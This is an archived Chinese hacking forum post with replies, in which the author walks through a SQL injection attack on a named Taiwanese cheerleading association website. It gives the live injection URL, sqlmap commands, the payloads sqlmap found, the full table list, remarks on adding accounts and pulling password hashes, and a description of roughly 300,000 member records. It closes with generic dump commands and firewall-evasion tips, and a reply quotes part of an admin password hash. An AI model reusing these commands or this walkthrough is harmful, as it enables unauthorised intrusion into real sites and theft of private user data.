九零登录

[【未通过】] 台湾中華民國啦啦隊總會存在SQL注入#30W女子会员用户资料泄露

[复制链接]
发表于 2016-2-21 12:34:55 | 显示全部楼层 |阅读模式
开始正文吧~
下午上班时候无聊就扫了会注入,于是我看中一个sql注入点,就去跑了跑,(因为此战大部分都是妹子)
注入点:http://www.ctcf.org20.tw/?p=ar007959-ct1910
开启sqlmap就是跑~
语句不知道的,百度吧~有教程也有实例,照葫芦画瓢~
sqlmap.py -u "http://www.ctcf.org20.tw/?p=ar007959-ct1910" --dbs #爆数据库



sqlmap identified the following injection point(s) with a total of 282 HTTP(s) requests:
---
Parameter: p (GET)
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: p=ar007959-ct1910' AND 3855=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(98)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (3855=3855) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(113)+CHAR(107)+CHAR(113))) AND 'bLWG'='bLWG

    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: p=ar007959-ct1910';WAITFOR DELAY '0:0:5'--

    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind (comment)
    Payload: p=ar007959-ct1910' WAITFOR DELAY '0:0:5'--
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2005
available databases [5]: ArDataManage master model msdb
tempdb如果不知道那个裤子的话,用--current-db 可以查询到当前使用的数据库,然后爆表sqlmap.py -u "http://www.ctcf.org20.tw/?p=ar007959-ct1910" -D ArDataManage --tables #列表Parameter: p (GET)
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: p=ar007959-ct1910' AND 3855=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(98)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (3855=3855) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(113)+CHAR(107)+CHAR(113))) AND 'bLWG'='bLWG

    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: p=ar007959-ct1910';WAITFOR DELAY '0:0:5'--

    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind (comment)
    Payload: p=ar007959-ct1910' WAITFOR DELAY '0:0:5'--
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2005
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: p (GET)
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: p=ar007959-ct1910' AND 3855=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(98)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (3855=3855) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(113)+CHAR(107)+CHAR(113))) AND 'bLWG'='bLWG

    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: p=ar007959-ct1910';WAITFOR DELAY '0:0:5'--

    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind (comment)
    Payload: p=ar007959-ct1910' WAITFOR DELAY '0:0:5'--
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2005
Database: ArDataManage
[172 tables]
+--------------------------+
| ARDATAMANAGE.DBO.USER123 |
| 11087LuckyNo             |
| ADPage                   |
| Account                  |
| Act                      |
| ActInfo                  |
| ActPos                   |
| Ad                       |
| AdItem                   |
| AdItem0123               |
| Album                    |
| Appointment              |
| ArGlobal                 |
| ArText                   |
| Article                  |
| Budd                     |
| BuddInfo                 |
| CGItem                   |
| CGPage                   |
| Cart                     |
| CatCust                  |
| CatLink                  |
| CatNetAd                 |
| CatObj                   |
| CatObjLink               |
| CatObjSkin               |
| CatPage                  |
| CatSkin                  |
| Catalog                  |
| Category                 |
| CodeArea                 |
| CodeClass                |
| CodeDomain               |
| CodeDomainBak            |
| CodePrice                |
| Comment                  |
| Course                   |
| CourseInfo               |
| DataCache                |
| DealBonus                |
| DealBonusPay             |
| Deco                     |
| DnsData                  |
| Edm                      |
| EdmLog                   |
| EdmMbr                   |
| EdmMbrExcel              |
| EdmMbrGroup              |
| EdmMbrImport             |
| EdmProject               |
| EdmReject                |
| ExtLink                  |
| ExtPage                  |
| ExtSite                  |
| Gallery                  |
| Issue                    |
| Kupon                    |
| KuponInfo                |
| KuponPos                 |
| Message                  |
| Meta                     |
| Music                    |
| NetAdAr                  |
| NetAdHr                  |
| NetAdItem                |
| NetAdMe                  |
| NetAdVt                  |
| NetMbr                   |
| News                     |
| ObjBase                  |
| ObjCust                  |
| ObjPage                  |
| ObjPage0409              |
| ObjPage0409a             |
| ObjPage0617              |
| ObjPage0916Bak           |
| ObjReq                   |
| ObjSkin                  |
| PageError                |
| PageHelp                 |
| PageUser                 |
| PageViews                |
| Photo                    |
| Prod                     |
| ProdInfo                 |
| Purchase                 |
| PurchaseDT               |
| Query                    |
| ReqMatch                 |
| ReqProd                  |
| ReqSvc                   |
| Res                      |
| Res0127                  |
| Res0128                  |
| Res1212                  |
| ResBonus000              |
| ResOrder                 |
| ResOrder0128             |
| ResOrders0127            |
| ResSite000               |
| ResTrans000              |
| Room                     |
| RoomInfo                 |
| Sales                    |
| Sales0127                |
| Sales0128                |
| SalesBonus               |
| SalesBonus0127           |
| SalesBonus0128           |
| SalesBonusPay            |
| SalesBonusPay0127        |
| SalesBonusPay0128        |
| SalesLic                 |
| Site                     |
| Site0127                 |
| Site0128                 |
| SiteColumn000            |
| SiteInfo                 |
| SiteInfoAW000            |
| SiteLic                  |
| SiteMbr                  |
| SiteMbrGroup             |
| SiteNoGallery            |
| SiteNoMobile             |
| SiteObjID                |
| SitePart                 |
| SiteShop                 |
| SiteSkin                 |
| SiteUrl                  |
| Skin                     |
| SkinAD                   |
| SkinCatalog              |
| SkinCategory             |
| SkinContent              |
| SkinDataPager            |
| SkinForm                 |
| SkinGallery              |
| SkinGrid                 |
| SkinMenu                 |
| SkinMobile               |
| SkinPak                  |
| SkinPanel                |
| SkinRotator              |
| SkinScheduler            |
| SkinSearchBox            |
| SkinTab                  |
| SkinTile                 |
| SkinTree                 |
| SpcTag                   |
| Style                    |
| StyleClass               |
| StyleClass1              |
| StyleTag                 |
| Svc                      |
| SvcInfo                  |
| TotalViews               |
| TotalVotes               |
| User                     |
| User20151231             |
| UserProfile              |
| UserVolunteer            |
| UserVolunteerSvc         |
| Vote                     |
| VoteCount0212            |
| VoteMbr                  |
| WorldCity                |
| XXDnaKey                 |
| YProd                    |
| YellowPage               |
| ZEMail                   |
| dtproperties             |
| sysdiagrams              |
+--------------------------






没有什么技术含量哦~紧接着找列名~根据经验来判断,一般都是user admin ad sysadmin等等之类相似的~但是如此良好时间我怎能不去看看数据呢~啊哈哈草!!你特么sqlmap死了~~~醉了 好吧 我们换工具。有点意外的是~竟然非sa账号权限还那么大~其实这样的话完全可以直接提权的,用sqlmap的交互式写shell功能 --os-shell 可以直接提权的 但是也得看情况哎,既然是内网那就算了~还要转发太麻烦了~原谅我技术有限。。。
1.jpg


不过我还是去测试下是否能添加账户~果然还是可以的,因为内网开了3389还是无法连接,但是都不重要了~看数据去~

2.jpg


我们继续往下探索找裤子~到这估计有人很好奇root密码哪来的~我不会告诉你用--password来搞出来的

3.jpg


好吧~~找到裤子所在了,没有打吗,希望各位自重下~可以清楚看到将近30W数据,这个工具我没试过脱裤子 ,也不想脱,大家有点职业操守!!!

4.jpg 这是第二个表~数量都差不多,我想应该是重复吧?或者不重复呢?那这样还有一个表就是90W了~~~好多鱼。。。算了都跟我没鸡毛关系~


5.jpg


到此完毕,写的不怎么好,过程也简单~见谅下,没有打吗,大家有点职业操守~此洞已扔补天:http://loudong.360.cn/vul/detail/qid/QTVA-2016-378488
其实大家也可以用sqlmap脱裤命令:sqlmap.py -u "url" -D 数据库 -T 表名 -C 列名 --dump -o
说一下为什么加-0 像有的站有防火墙你刚脱没一会就死了,所以还是加上的比较好,-o是开启全部项优化的~也可以用--dump-all全部脱了,但是真心慢~能找root密码就找到吧 那个脱的快!

==================================

未发现亮点所在,不予通过。
发表于 2016-2-21 17:10:06 | 显示全部楼层
第一次见有人把shack2的工具用的这么6,以后可以直接省去穿山甲直接用这个了

点评

其实这个工具是相当6的,只是我们不会玩,玩不转  发表于 2016-2-22 10:05
发表于 2016-2-21 20:01:35 | 显示全部楼层
看图上的水印,直接重补天ctrl+v来的?
发表于 2016-2-21 21:07:42 | 显示全部楼层
中華民國  呵呵
发表于 2016-2-21 22:19:12 | 显示全部楼层
为什么要写中华民国呢
发表于 2016-2-22 08:10:03 | 显示全部楼层
酷帥王子 发表于 2016-2-21 17:10
第一次见有人把shack2的工具用的这么6,以后可以直接省去穿山甲直接用这个了

老表工具各有各的特,穿山甲特殊情况下是非常好用的,还有萝卜特殊情况下也是可用的,不同环境用不同的工具。我代表穿山甲谴责你

发表于 2016-2-22 13:10:53 | 显示全部楼层
中华民国。这个是不是有点过分了。
发表于 2016-2-25 09:18:39 | 显示全部楼层
弱弱的问一下sa的password hash: 0x01004086ceb65a66d1b299d7de5d565ab1833c24......c7楼主能爆破出来?
发表于 2016-3-2 22:26:29 | 显示全部楼层
y0uki11 发表于 2016-2-21 20:01
看图上的水印,直接重补天ctrl+v来的?

好眼力。。还真是补天
发表于 2016-3-3 09:37:30 | 显示全部楼层
台湾 远了点 拿裤子能搞什么
发表于 2016-7-22 19:22:29 | 显示全部楼层
第一次见有人把shack2的工具用的这么6

九零

GMT+8, 2026-10-22 12:51

Powered by Discuz! X3.5

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表